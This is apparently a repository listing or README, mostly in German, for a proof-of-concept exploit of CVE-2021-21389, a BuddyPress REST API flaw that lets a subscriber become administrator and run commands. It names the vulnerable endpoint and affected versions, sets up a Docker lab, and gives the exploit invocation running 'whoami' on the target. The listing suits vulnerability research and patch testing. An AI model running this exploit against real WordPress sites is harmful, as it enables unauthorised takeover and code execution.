hoangkien1020/cve-2021-21389BuddyPress ist ein Open-Source-WordPress-Plugin zum Aufbau einer Community-Website. In BuddyPress-Versionen von 5.0.0 bis vor 7.2.1 ist es einem nicht privilegierten, regulären Benutzer möglich, Administratorrechte zu erlangen, indem er eine Schwachstelle im members-Endpunkt der REST-API ausnutzt. Die Schwachstelle wurde in BuddyPress 7.2.1 behoben. Bestehende Installationen des Plugins sollten auf diese Version aktualisiert werden, um das Problem zu entschärfen.
BuddyPress < 7.2.1 - REST-API-Privilegieneskalation zu RCE
PoC (Vollständig)
Betroffene Version: 5.0.0 bis 7.2.0
Benutzeranforderung: Abonnent
Methode: Privilegieneskalation zum Administrator und Auslösen von RCE über die REST-API
Endpunkt: /v1/members/me-Endpunkt.
git clone https://github.com/HoangKien1020/CVE-2021-21389
cd CVE-2021-21389/
docker build . -t hoangkien1020/buddypress:cve202121389
docker run -d --rm -it -p 8080:80 hoangkien1020/buddypress:cve202121389
Other way to pull this docker instead of building:
docker pull hoangkien1020/buddypress:cve202121389
docker run -d --rm -it -p 8080:80 hoangkien1020/buddypress:cve202121389
Access your host/IP
Ex: http://test.local:8080
python3 CVE-2021-21389.py http://test.local:8080 test 1234 whoami
Beispiel:
https://buddypress.org/2021/03/buddypress-7-2-1-security-release/